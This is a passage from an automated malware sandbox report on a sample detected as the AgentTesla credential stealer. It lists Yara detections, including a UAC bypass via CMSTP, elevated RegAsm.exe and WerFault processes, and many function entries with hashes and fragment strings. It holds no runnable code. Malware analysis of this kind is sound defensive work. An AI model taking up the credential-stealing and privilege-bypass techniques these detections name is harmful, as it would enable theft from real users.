Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:42:45
Start date:	27/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0xe70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:42:45
Start date:	27/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2520 -s 1084
Imagebase:	0x7ff66ad00000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFAACCD04FA Relevance: 9.1, Strings: 7, Instructions: 369COMMON

Download Yara Rule

Strings

M_^T, xrefs: 00007FFAACCD0722
M_^], xrefs: 00007FFAACCD076A
{>M, xrefs: 00007FFAACCD063F
7K>, xrefs: 00007FFAACCD066E
M_^I, xrefs: 00007FFAACCD06C9
M_^U, xrefs: 00007FFAACCD072A
M_^\, xrefs: 00007FFAACCD0762

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 7K>$M_^I$M_^T$M_^U$M_^\$M_^]${>M
API String ID: 0-4244293156
Opcode ID: bfe8b33178efe33dd04038c70c78abb49d567c32f8484abaf3a0a3d994d12f3c
Instruction ID: e8f613cfbdb0612f087906ff41446014b26de2e282cbbc2809e5a3996b08a15f
Opcode Fuzzy Hash: bfe8b33178efe33dd04038c70c78abb49d567c32f8484abaf3a0a3d994d12f3c
Instruction Fuzzy Hash: 6A91069370A56A4ED601B77CB8595FDBB90DFC233670453BBD18CCA083DE19A44B82D5

Function 00007FFAACCD05D3 Relevance: 9.0, Strings: 7, Instructions: 284COMMON

Download Yara Rule

Strings

M_^T, xrefs: 00007FFAACCD0722
M_^], xrefs: 00007FFAACCD076A
{>M, xrefs: 00007FFAACCD063F
7K>, xrefs: 00007FFAACCD066E
M_^I, xrefs: 00007FFAACCD06C9
M_^U, xrefs: 00007FFAACCD072A
M_^\, xrefs: 00007FFAACCD0762

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 7K>$M_^I$M_^T$M_^U$M_^\$M_^]${>M
API String ID: 0-4244293156
Opcode ID: 139e305a457e5c80e59e51e03440f7adcc2dcfefeab53f72ef60aa5b6aaae032
Instruction ID: f5621b4d94a312cdb6f3ad1cbbffaad9dd6d29c4c67333c55a371d2e7cec89d3
Opcode Fuzzy Hash: 139e305a457e5c80e59e51e03440f7adcc2dcfefeab53f72ef60aa5b6aaae032
Instruction Fuzzy Hash: F8714893B0E46A4EE2057A7CB8195FD7FD0DF8223570453BBD18DCA083DE08A44782D5

Function 00007FFAACDF04AB Relevance: 8.1, Strings: 5, Instructions: 1889COMMON

Download Yara Rule

Strings

3J, xrefs: 00007FFAACDF0D32
3J, xrefs: 00007FFAACDF0DF2
3J, xrefs: 00007FFAACDF0A25
3J, xrefs: 00007FFAACDF0DE0
A, xrefs: 00007FFAACDF09C6

Memory Dump Source

Source File: 00000000.00000002.1492661718.00007FFAACDF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACDF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaacdf0000_0000003448.jbxd

Similarity

API ID:
String ID: A$3J$3J$3J$3J
API String ID: 0-2249433194
Opcode ID: d1df08e25fefa340136e552a8a39486cb2e6a2243f124a019e29601788da4b30
Instruction ID: f47c7dc60e0e5adc2cbfda12511652596253884d3894df76c5bf38f8f1994d13
Opcode Fuzzy Hash: d1df08e25fefa340136e552a8a39486cb2e6a2243f124a019e29601788da4b30
Instruction Fuzzy Hash: CEC2F87190E7CA8FE756DB2888556A47FE0FF56300F1845FED09DCB192DA28A84AC7C1

Function 00007FFAACCD50C0 Relevance: 4.3, Strings: 2, Instructions: 1809COMMON

Download Yara Rule

Strings

Xk!, xrefs: 00007FFAACCF2403
Xk!, xrefs: 00007FFAACCF244E

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: Xk!$Xk!
API String ID: 0-2019765462
Opcode ID: 178b399dcaef7122f8aa8fb3f20482f4aba247c7def0d5c38d41a944371293bf
Instruction ID: 101a503c3a8702da44ce61c2832d579d3b3a1a908de29b5319ef6ff22837619b
Opcode Fuzzy Hash: 178b399dcaef7122f8aa8fb3f20482f4aba247c7def0d5c38d41a944371293bf
Instruction Fuzzy Hash: 49B23772A1DB068FFBA8DF2C8455A7477D1EF95314B1581B9D04EC72A2EE24EC4A83C0

Function 00007FFAACCD0AEE Relevance: 3.9, Strings: 2, Instructions: 1435COMMON

Download Yara Rule

Strings

5M_H, xrefs: 00007FFAACCD0AFF
1M_I, xrefs: 00007FFAACCD0F7F

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 1M_I$5M_H
API String ID: 0-1589887492
Opcode ID: 7aa3db2174e7bc421b1a9ae566db6168e14f7d215c8d9a7ab6a3cfddd2931039
Instruction ID: 1a601b2a203f442306657e90d28eef63920a3c14f75b71046f6836e29de99dfa
Opcode Fuzzy Hash: 7aa3db2174e7bc421b1a9ae566db6168e14f7d215c8d9a7ab6a3cfddd2931039
Instruction Fuzzy Hash: 75B2C32060E2C46FD71A87BC54637EDBFE0EF46708F2944EEE0CACB593C8595857960A

Function 00007FFAACCD0BD3 Relevance: 3.9, Strings: 2, Instructions: 1363COMMON

Download Yara Rule

Strings

4M_H, xrefs: 00007FFAACCD0BFE
1M_I, xrefs: 00007FFAACCD0F7F

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 1M_I$4M_H
API String ID: 0-3867125089
Opcode ID: 3bd2e77ced8b50a666c8406c834f33453e7dd26d19c361a6533903e4f22bc1c5
Instruction ID: 6400e36aa43811814bf9e768f65e75515ad4854944d5119165bfce9bed924834
Opcode Fuzzy Hash: 3bd2e77ced8b50a666c8406c834f33453e7dd26d19c361a6533903e4f22bc1c5
Instruction Fuzzy Hash: 3CA2C12060E2C46FD71A87BC54637EDBFE0EF46708F2944EEE0CACB593C8595857960A

Function 00007FFAACCE3FF0 Relevance: 3.4, Strings: 2, Instructions: 856COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCE4275
K_H, xrefs: 00007FFAACCE446D

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$K_H
API String ID: 0-648400453
Opcode ID: 50eac32ea9587521f4cb0a4de077b4a0f67a067790d78aa6f35589a811bb7c3d
Instruction ID: b81a03385932dfe9a9cfc206b564de5bd7e1d3809352985d80f18f429d375d76
Opcode Fuzzy Hash: 50eac32ea9587521f4cb0a4de077b4a0f67a067790d78aa6f35589a811bb7c3d
Instruction Fuzzy Hash: E342E270A1DA498FEB94EF6CD845A7977E1FF9A300F0441B9E44EC3296DE24EC468781

Function 00007FFAACCD5D25 Relevance: 3.3, Instructions: 3323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e2f633d57b7326020fa78675fd474cd69cf6c36bbe317c43071e4e7e15a709b
Instruction ID: 817b92e5cfdb4f128b04cba9cf5ed27c49802344f2960226a8be7368964a6f9c
Opcode Fuzzy Hash: 8e2f633d57b7326020fa78675fd474cd69cf6c36bbe317c43071e4e7e15a709b
Instruction Fuzzy Hash: AC434D70A1DB458FE7A8DF18C495BAAB7E1FF99304F10856DD48E87291CE34E845CB82

Function 00007FFAACD01658 Relevance: 2.3, Instructions: 2316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e189249c7a347b51dedce9043d087e345e5ccd9fe51017b58e00906803bdf32
Instruction ID: 8c0bd9a7db3ed7a7d4ed0713070ad9c2ffb2e5f5d13252b6c3607823acf40bc3
Opcode Fuzzy Hash: 6e189249c7a347b51dedce9043d087e345e5ccd9fe51017b58e00906803bdf32
Instruction Fuzzy Hash: E9E21570A1DA468FE798EB2CD481AB5B7E1FF95310B1481BED05EC3696CE24F84687C1

Function 00007FFAACCD5CA8 Relevance: .7, Instructions: 749COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd89531e9396d75d2a64752343a1d5d518dba97097976e532eb3a46f5cd2e1ce
Instruction ID: ea2c102e8822ec131261e39064cfe423b02a3d8e5030791fe457584b912270a7
Opcode Fuzzy Hash: cd89531e9396d75d2a64752343a1d5d518dba97097976e532eb3a46f5cd2e1ce
Instruction Fuzzy Hash: 61220961A1DB458FFB58DB28945567977D2FF9A304F44817EE04FC36C2DE28E80A42C2

Function 00007FFAACCD06D3 Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

M_^T, xrefs: 00007FFAACCD0722
M_^], xrefs: 00007FFAACCD076A
M_^U, xrefs: 00007FFAACCD072A
M_^\, xrefs: 00007FFAACCD0762
M_^R, xrefs: 00007FFAACCD0712

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: M_^R$M_^T$M_^U$M_^\$M_^]
API String ID: 0-2234265795
Opcode ID: 0d53427172c09c0466c2ab20129b027db46ca3f13cda124ec7072349b1c723d6
Instruction ID: 4061030f8ac2565b976b35633f83d83505d9000e6268d8bebb25dacc3a743626
Opcode Fuzzy Hash: 0d53427172c09c0466c2ab20129b027db46ca3f13cda124ec7072349b1c723d6
Instruction Fuzzy Hash: 2C415893B0E4565EE25677BC685AAFE2FD4CF8227470442FBE04DCB0D3DD08A40A82E5

Function 00007FFAACCEE974 Relevance: 4.1, Strings: 3, Instructions: 352COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCEE938
x!%, xrefs: 00007FFAACCEE9F5
0X%, xrefs: 00007FFAACCEEA24

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$0X%$x!%
API String ID: 0-1876772075
Opcode ID: 658ef3901c54f7dc48561dc7025b96836bf4ff9ef628e640e0e9be66b07aea0c
Instruction ID: d8a2e5aa1ec9629bcae87db68f923373bca5d351e507dcbb00ba7dc48df544c1
Opcode Fuzzy Hash: 658ef3901c54f7dc48561dc7025b96836bf4ff9ef628e640e0e9be66b07aea0c
Instruction Fuzzy Hash: 8EB1E371A1DE498FFB94DB6C8895AB87BE1FF5A340B0440BDD05EC3296CE24EC468781

Function 00007FFAACCD50B0 Relevance: 3.1, Strings: 2, Instructions: 642COMMON

Download Yara Rule

Strings

x!%, xrefs: 00007FFAACCEED65
0#%, xrefs: 00007FFAACCEED50

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$x!%
API String ID: 0-683446285
Opcode ID: 3fdffe8c422393d7cf06aa7c02bec98e8ef1053a8b88be2f22b8b95ba521ea37
Instruction ID: 3d9162916d3b8711211e3959ac89b5c4c7a489e29e704588881b740ad9ce1ae0
Opcode Fuzzy Hash: 3fdffe8c422393d7cf06aa7c02bec98e8ef1053a8b88be2f22b8b95ba521ea37
Instruction Fuzzy Hash: B8125A3071D9458FEB6C9F2CE455BA937D1EF5A340F1440AEE44EC72A7CE28EC468685

Function 00007FFAACCDC600 Relevance: 3.0, Strings: 2, Instructions: 452COMMON

Download Yara Rule

Strings

0p%, xrefs: 00007FFAACCDC7F2
t%, xrefs: 00007FFAACCDC70E

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0p%$t%
API String ID: 0-380887139
Opcode ID: 0925378e39d144c2f84ba0cf9e3d2814a9da30a95a3243e2abd2047ce79554ec
Instruction ID: f20862d73a3dbac44794b9ea8e8a03b63a30fa9206d523ee97b05905baf78e73
Opcode Fuzzy Hash: 0925378e39d144c2f84ba0cf9e3d2814a9da30a95a3243e2abd2047ce79554ec
Instruction Fuzzy Hash: 8CD12861A0EA8A8FF796DB3C88547747BD1EF96210B4941FBD04DC72A3DE18DC5A8381

Function 00007FFAACCD50B8 Relevance: 2.7, Strings: 2, Instructions: 248COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCF06B0
0#%, xrefs: 00007FFAACCF0699

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$0#%
API String ID: 0-1972909233
Opcode ID: 14d01e323cb04974bc476ba213a6dc2bb2838a9ea96589f22c4044c7ae4c6c02
Instruction ID: 705c1921bc6f22d5668159e665384a0c4df8a3010aaf3e3b891ae0af80c67495
Opcode Fuzzy Hash: 14d01e323cb04974bc476ba213a6dc2bb2838a9ea96589f22c4044c7ae4c6c02
Instruction Fuzzy Hash: 8161102070DB0A9FFBA9EB2C8855A753BC1EF5A704B4441B9D44EC31A6EE64EC0683C4

Function 00007FFAACCD50E8 Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCF01A7
=K_E, xrefs: 00007FFAACCF016D

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$=K_E
API String ID: 0-4068850569
Opcode ID: 1e3a05235bae664ea622cca57886eb9d030212e41d3f907669015ee21323de3f
Instruction ID: 4333408d3c33363835d16ba78c541bee54acea2a8fa3505a554f180c92bc761b
Opcode Fuzzy Hash: 1e3a05235bae664ea622cca57886eb9d030212e41d3f907669015ee21323de3f
Instruction Fuzzy Hash: 2E41532061EB8A9FF799976888A96763BD1EF96704B1880FAD44EC7193DC18DC4683C0

Function 00007FFAACCDE040 Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCF06B0
0#%, xrefs: 00007FFAACCF0699

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$0#%
API String ID: 0-1972909233
Opcode ID: 6474667412e0faf6542fb74f106059a402cfdc1cad4eb025d7cebe84f79b1091
Instruction ID: 38db727519496b296592cf8912cb9ef338ce8f54234b359e873b30c639e494e0
Opcode Fuzzy Hash: 6474667412e0faf6542fb74f106059a402cfdc1cad4eb025d7cebe84f79b1091
Instruction Fuzzy Hash: 9131C42271AA095FFED4EF2C98446B823C2FFD9615B8581B6D50DC7296DD15DC0683C0

Function 00007FFAACCD50D8 Relevance: 2.6, Strings: 2, Instructions: 74COMMON

Download Yara Rule

Strings

0#%, xrefs: 00007FFAACCF01A7
=K_E, xrefs: 00007FFAACCF016D

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0#%$=K_E
API String ID: 0-4068850569
Opcode ID: ba7b5be6cfd584a5a38b13a93dd53dbc881a179f5e312d7aee528c700d53470e
Instruction ID: ebdd7913f914bd11b7e1756d5baca48e1aae3e412979cac651b393b004d0c16d
Opcode Fuzzy Hash: ba7b5be6cfd584a5a38b13a93dd53dbc881a179f5e312d7aee528c700d53470e
Instruction Fuzzy Hash: B711595261DF486FF798A76C485A7762BD2DF9A654B2481B9D48FC3287CC28EC0243D0

Function 00007FFAACCE63B0 Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFAACCE6719

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: ff54bffe2bbee1f858efa82903eb2f50432ac88da80a6fe146f7ed200007354d
Instruction ID: e4d7df43ec48beb776105ebee1b7302b743fc16f2d984b81d53d46c9ae34ab48
Opcode Fuzzy Hash: ff54bffe2bbee1f858efa82903eb2f50432ac88da80a6fe146f7ed200007354d
Instruction Fuzzy Hash: B402B170629A498FE768DF18C485A75B3E1FF9A310F14867ED08EC3696CA34F846C781

Function 00007FFAACCE4950 Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

0p%, xrefs: 00007FFAACCE4C70

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 0p%
API String ID: 0-2377676308
Opcode ID: 23c64ff160a6d14288fac3176db4afb82cf44589f0c45aa99602eb78ef78e98f
Instruction ID: 4d44b9e5175fa1d4cc29043395178599590c06c95ede9892a36a3ff021da5f65
Opcode Fuzzy Hash: 23c64ff160a6d14288fac3176db4afb82cf44589f0c45aa99602eb78ef78e98f
Instruction Fuzzy Hash: BCB1D130B199098FEBA4EF6C9458B7577D1FF9A311B1441FAE04DC72A6CE28EC498781

Function 00007FFAACCD5048 Relevance: 1.6, Strings: 1, Instructions: 352COMMON

Download Yara Rule

Strings

K_H, xrefs: 00007FFAACCE446D

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: K_H
API String ID: 0-313846638
Opcode ID: 70037655c8efd4e841b6d2b141f65aee8adc9c3bce57074ac9cc41100aa6f0d3
Instruction ID: e46ffe808c3a5027377ecfb6ea3fe2967cacc7912ad538226cadfc510174e43c
Opcode Fuzzy Hash: 70037655c8efd4e841b6d2b141f65aee8adc9c3bce57074ac9cc41100aa6f0d3
Instruction Fuzzy Hash: E2B14C71A19A4D8FEF94EF6CD894EA977E1FF6A300B0541A9E44DD72A1CB30E845CB40

Function 00007FFAACCD1CF0 Relevance: 1.6, Strings: 1, Instructions: 310COMMON

Download Yara Rule

Strings

H9, xrefs: 00007FFAACCD30D3

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-125992765
Opcode ID: 3390c75ed271019ee06498f39e238e8c780f89821ce52dac80001d172894885e
Instruction ID: 71c254408a7ff3f4a67449a60ecebde96e20409e188e7da5090c85d992b75413
Opcode Fuzzy Hash: 3390c75ed271019ee06498f39e238e8c780f89821ce52dac80001d172894885e
Instruction Fuzzy Hash: 1A8157A2B1DD4A4FF7EA9A6CA8557B573D1EF9926070841F7D00EC328ADD18DC0A43C1

Function 00007FFAACCDB8FA Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFAACCDB9AA

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 8bdbd2f1350b3d019e93271052fa76f2c59c78713520f3719ffcae8bb5beaa3e
Instruction ID: 8963266791ba55994398676c156df1841f3a5aa58c4b00aec1e556f4bc28706e
Opcode Fuzzy Hash: 8bdbd2f1350b3d019e93271052fa76f2c59c78713520f3719ffcae8bb5beaa3e
Instruction Fuzzy Hash: 1D712A9191DEC68FF356AB3C8465AF67BE0EF46200B5441FEC04EC71A7CE28E8568381

Function 00007FFAACCFE7C0 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

\J_^, xrefs: 00007FFAACCFE801

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: \J_^
API String ID: 0-1818385016
Opcode ID: 96c243a574533f70e9dca20c90e1c475221a5440c5e79bcd27e2ec7a097ea271
Instruction ID: 9c533c58bc5520675d5481452604f979a33e320c30cf5f6844fc7d8a80c28a3d
Opcode Fuzzy Hash: 96c243a574533f70e9dca20c90e1c475221a5440c5e79bcd27e2ec7a097ea271
Instruction Fuzzy Hash: E871B731A0DB85AFF7A4E72C90857B677D1EF56314F0885B9D09F86582CB68F889C780

Function 00007FFAACCD07A0 Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

8M%, xrefs: 00007FFAACCD26F9

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: 8M%
API String ID: 0-1690249272
Opcode ID: 9ac0901202afa28401991fbece8cdd475e2c69dd7a14a67d70eea6484af47f6a
Instruction ID: ec2453fb552ae24a250637734008c71e40e6c01f0d675e865d372d93009f47c6
Opcode Fuzzy Hash: 9ac0901202afa28401991fbece8cdd475e2c69dd7a14a67d70eea6484af47f6a
Instruction Fuzzy Hash: 6851293190EA458FF796AF7894592B97B91EF46310F0445BBE48EC3183ED19EC5683C0

Function 00007FFAACCD5F90 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

|J_H, xrefs: 00007FFAACCFA9C0

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: |J_H
API String ID: 0-948191255
Opcode ID: 6296a1ee777f70e92df5aa932327812e98db4ec3d1dc057e3d57bfb1bf2c227e
Instruction ID: 39f4002cc328b0521732105e5a5ea06b638ae21dca4e68ba18354bf508babfbd
Opcode Fuzzy Hash: 6296a1ee777f70e92df5aa932327812e98db4ec3d1dc057e3d57bfb1bf2c227e
Instruction Fuzzy Hash: D651D161A1DB0A8FFB98DF28949577477D1EF59704F0481BAD40EC7286DE29EC8A87C0

Function 00007FFAACCD50C8 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

HK_H, xrefs: 00007FFAACCEF3C1

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: HK_H
API String ID: 0-1175406038
Opcode ID: ecd5f778f099ccd3b6bf8cd74c30eed9ab13a496257b3ce4e498428362de6bed
Instruction ID: 3b5ae7ddd59cb8572ebf1e4943621dfd3881efebed203a0324880ea190e2e8e8
Opcode Fuzzy Hash: ecd5f778f099ccd3b6bf8cd74c30eed9ab13a496257b3ce4e498428362de6bed
Instruction Fuzzy Hash: E6416C21B1EE4A4FF794EB6C54997B527C0EFAB311B0441BAD44DC7296DD24DC4643C1

Function 00007FFAACCD1EFA Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

%M_^, xrefs: 00007FFAACCD1F01

Memory Dump Source

Source File: 00000000.00000002.1491858436.00007FFAACCD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaaccd0000_0000003448.jbxd

Similarity

API ID:
String ID: %M_^
API String ID: 0-2132452331
Opcode ID: bdbac275085bfcf46750f0b31b640b843db1b48e0386d18f9d3dc2932598d76a
Instruction ID: 7ba36ca79ccdd420fcfdfa109f9e090c8e86d641b2cd5cf7603be9cdf574bd50
Opcode Fuzzy Hash: bdbac275085bfcf46750f0b31b640b843db1b48e0386d18f9d3dc2932598d76a
Instruction Fuzzy Hash: 4B41A46160A6895FE342A77C98667F97FD0DF43214F4441FAD08DCB1D3DE18581AD391

Function 00007FFAACCD0790 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

